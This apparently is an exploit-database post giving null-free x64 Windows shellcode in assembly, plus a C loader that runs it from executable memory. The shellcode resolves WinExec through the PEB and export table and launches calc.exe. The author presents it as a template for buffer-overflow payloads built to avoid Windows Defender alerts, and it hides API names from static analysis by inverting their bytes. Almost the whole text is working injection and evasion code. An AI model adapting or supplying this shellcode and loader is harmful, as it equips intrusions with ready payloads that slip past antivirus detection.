Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes)

2021-05-03
ID: 104287
CVE: None
Download vulnerable application: None
# Shellcode Title: 
# Shellcode Author: Bobby Cooke (boku)
# Date: 02/05/2021
# Tested on:  Windows 10 v2004 (x64)
# Shellcode Description:
# 64bit Windows 10 shellcode that dynamically resolves the base address of kernel32.dll via PEB & ExportTable method.
# Contains no Null bytes (0x00), and therefor will not crash if injected into typical stack Buffer OverFlow vulnerabilities.
# Grew tired of Windows Defender alerts from MSF code when developing, so built this as a template for development of advanced payloads.

; Compile & get shellcode from Kali:
;   nasm -f win64 popcalc.asm -o popcalc.o
;   for i in $(objdump -D popcalc.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done
; Get kernel32.dll base address
xor rdi, rdi            ; RDI = 0x0
mul rdi                 ; RAX&RDX =0x0
mov rbx, gs:[rax+0x60]  ; RBX = Address_of_PEB
mov rbx, [rbx+0x18]     ; RBX = Address_of_LDR
mov rbx, [rbx+0x20]     ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
mov rbx, [rbx]          ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov rbx, [rbx]          ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov rbx, [rbx+0x20]     ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx             ; RBX & R8 = &kernel32.dll

; Get kernel32.dll ExportTable Address
mov ebx, [rbx+0x3C]     ; RBX = Offset NewEXEHeader
add rbx, r8             ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
xor rcx, rcx            ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8            ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx]      ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8             ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable

; Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C]    ; RDI = RVA AddressTable
add r10, r8             ; R10 = &AddressTable

; Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20]    ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
add r11, r8             ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)

; Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24]    ; R12 = RVA  OrdinalTable
add r12, r8             ; R12 = &OrdinalTable

jmp short apis

; Get the address of the API from the Kernel32.dll ExportTable
getapiaddr:
pop rbx                 ; save the return address for ret 2 caller after API address is found
pop rcx                 ; Get the string length counter from stack
xor rax, rax            ; Setup Counter for resolving the API Address after finding the name string
mov rdx, rsp            ; RDX = Address of API Name String to match on the Stack 
push rcx                ; push the string length counter to stack
loop:
mov rcx, [rsp]          ; reset the string length counter from the stack
xor rdi,rdi             ; Clear RDI for setting up string name retrieval
mov edi, [r11+rax*4]    ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add rdi, r8             ; RDI = &NameString    = RVA NameString + &kernel32.dll
mov rsi, rdx            ; RSI = Address of API Name String to match on the Stack  (reset to start of string)
repe cmpsb              ; Compare strings at RDI & RSI
je resolveaddr          ; If match then we found the API string. Now we need to find the Address of the API 
incloop:
inc rax
jmp short loop

; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx                 ; remove string length counter from top of stack
mov ax, [r12+rax*2]     ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
mov eax, [r10+rax*4]    ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
add rax, r8             ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
push rbx                ; place the return address from the api string call back on the top of the stack
ret                     ; return to API caller

apis:                   ; API Names to resolve addresses
; WinExec | String length : 7
xor rcx, rcx
add cl, 0x7                 ; String length for compare string
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec 
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
shr rax, 0x8                ; xEcoll,0xFFFF --> 0x0000,xEcoll
push rax
push rcx                    ; push the string length counter to stack
call getapiaddr             ; Get the address of the API from Kernel32.dll ExportTable
mov r14, rax                ; R14 = Kernel32.WinExec Address

; UINT WinExec(
;   LPCSTR lpCmdLine,    => RCX = "calc.exe",0x0
;   UINT   uCmdShow      => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx                     ; RAX & RDX & RCX = 0x0
; calc.exe | String length : 8
push rax                    ; Null terminate string on stack
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
not rax
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
push rax                    ; RSP = "calc.exe",0x0
mov rcx, rsp                ; RCX = "calc.exe",0x0
inc rdx                     ; RDX = 0x1 = SW_SHOWNORMAL
sub rsp, 0x20               ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14                    ; Call WinExec("calc.exe", SW_HIDE)


###########################################################################################################################################

// runShellcode.c
// C Shellcode Run Code referenced from reenz0h (twitter: @sektor7net)
#include <windows.h>
void main() {
  void* exec;
  BOOL rv;
  HANDLE th;
  DWORD oldprotect = 0;
  // Shellcode
  unsigned char payload[] =
    "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
    "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
    "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
    "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
    "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
    "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
    "\x48\x83\xec\x20\x41\xff\xd6";
  unsigned int payload_len = 205;
  exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  RtlMoveMemory(exec, payload, payload_len);
  rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
  th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
  WaitForSingleObject(th, -1);
}
1-4-2 (www01)